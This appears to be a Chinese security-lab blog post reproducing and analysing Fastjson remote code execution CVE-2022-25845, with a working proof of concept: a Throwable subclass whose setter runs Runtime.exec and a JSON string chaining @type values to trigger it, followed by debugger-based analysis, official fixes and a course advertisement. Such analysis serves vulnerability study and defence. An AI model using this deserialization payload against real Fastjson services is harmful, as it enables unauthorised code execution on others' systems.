当前位置:网站首页>Fastjson 代码执行 CVE-2022-25845
Fastjson 代码执行 CVE-2022-25845
2022-07-22 04:15:00 【合天网安实验室】
漏洞简介
Fastjson 代码执行漏洞,该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行
影响版本:1.2.80及以下版本,即<= 1.2.80
漏洞复现
我们利用 idea 创建 maven 项目 搭建漏洞环境,在 pom 文件中添加
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.82</version>
</dependency>
创建文件夹 com.example.fastjson
在下面添加两个 java 文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com.example.fastjson;
import com.alibaba.fastjson.JSON;
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";
JSON.parse(json);
}
}
运行 PocDemo
【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
漏洞分析
AutoType
我们知道在 fastjson 1.2.25 后设定了 autoType 只有打开 autoType之后,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过黑名单
不开启时,是基于白名单进行防护的,这个漏洞的产生就是未开启 autoType 时产生的。
但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类
开启 autoType 后,最终调用的是
config.checkAutoType
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
其中声明了各种被黑名单列入的类,是通过十六进制来记录各种类,可以在 fastjson-blacklist,看到具体类的名称
Throwable
我们注意到在
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze
中也同样调用了
checkAutoType
同时我们可以发现在
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
会检测目标类中是否属于Throwable
的扩展,之后就会调用
ThrowableDeserializer.deserialize()
所以初步得出结论,如果目标类属于 Throwable
的扩展类,就可以实现打开autoType
的类似操作,去调用任何类
为了验证这个猜测,我们修改一下文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Error {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
依然可以利用成功
继续关注函数
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
会调用 createException 去创建反序列化函数
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException
最后还是在函数
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
中实现了代码执行
如此整个漏洞就分析完成了
漏洞修复
官方提供了以下四种修复方式
● 升级到最新版本1.2.83
● safeMode加固
● 升级到fastjson v2
● noneautotype版本
总结反思
整个漏洞的分析花了很多时间,根据参考文章 CVE-2022-25845 – Analyzing the Fastjson “Auto Type Bypass” RCE vulnerability 来来回回加断点调试了很久。对这个漏洞做一个自己的总结。在默认未开启 AutoType 时,Fastjson 是基于白名单的获取外部类,通过 搜索checkAutoType
发现ThrowableDeserializer#deserialze
中的调用,当然也不止这一处,只是这处能进一步的利用,通过满足类属于 Throwable
的扩展类就可以触发,最后实现代码执行。但是这个代码在实际场景中的利用要求较为苛刻,首先满足类是 Throwable
的扩展类,同时其中必须有危险的 set 方法。
更多靶场实验练习、网安学习资料,请点击这里>>https://www.hetianlab.com
边栏推荐
- Elephant Swap的LaaS方案迅速崛起,构建全新DeFi2.0协议
- FTP server setup and deployment and C # realize FTP file upload
- 嵌套子查询
- 盒马两大供应链中心启用 多业态商品创新研发“有后台”
- JVM memory model: classification and acquisition of class loaders
- 第四讲 ssh
- [ssm]ssm integration ③ (interface test)
- 记一个composer依赖问题requires composer-runtime-api ^2.0.0 -> no matching package found
- 用c语言编写一个函数用来删除字符串中的空格并返回空格个数
- 交换机与路由器技术:标准ACL、扩展ACL和命名ACL
猜你喜欢
[ssm]ssm integration ② (development of functional modules)
About the recent online treatment of myopia with low concentration atropine
Elephant Swap的LaaS方案迅速崛起,构建全新DeFi2.0协议
嵌套子查询
Elephant Swap的LaaS方案迅速崛起,构建全新DeFi2.0协议
Mock模拟数据,并发起get,post请求(保姆级教程,一定能成功)
EasyCVR平台如何实现无需鉴权即可接入特殊设备?
JVM:类加载的双亲委派机制
Hybrid混合开发与JSBridge
SOC custom IP core -- breathing lamp
随机推荐
2022 those "hidden rules" in the interview of testers, don't step on the pit
DNS interview questions of computer network
Chant Developer Workbench 2022
FTP server setup and deployment and C # realize FTP file upload
Purchase instructions for pull-up device and waist cushion
The LAAS solution of elephant swap has risen rapidly and built a new defi2.0 protocol
JVM内存模型:运行时数据区及线程
Classic books of Orthodontics
ftp服务器搭建部署与C#实现ftp文件的上传
JVM内存模型:类加载器的分类和获取
EasyCVR平台级联时,出现报错提示端口不可达是什么原因?
C#上传文件到共享文件夹
Soc之按键控制LED
信号FFT、STFT、小波变换、包络分析等
用c语言编写一个函数用来删除字符串中的空格并返回空格个数
SOC custom IP core -- breathing lamp
Evening Sky
网络层面试题
Typora free download compressed package (latest available)
[unity project practice] game architecture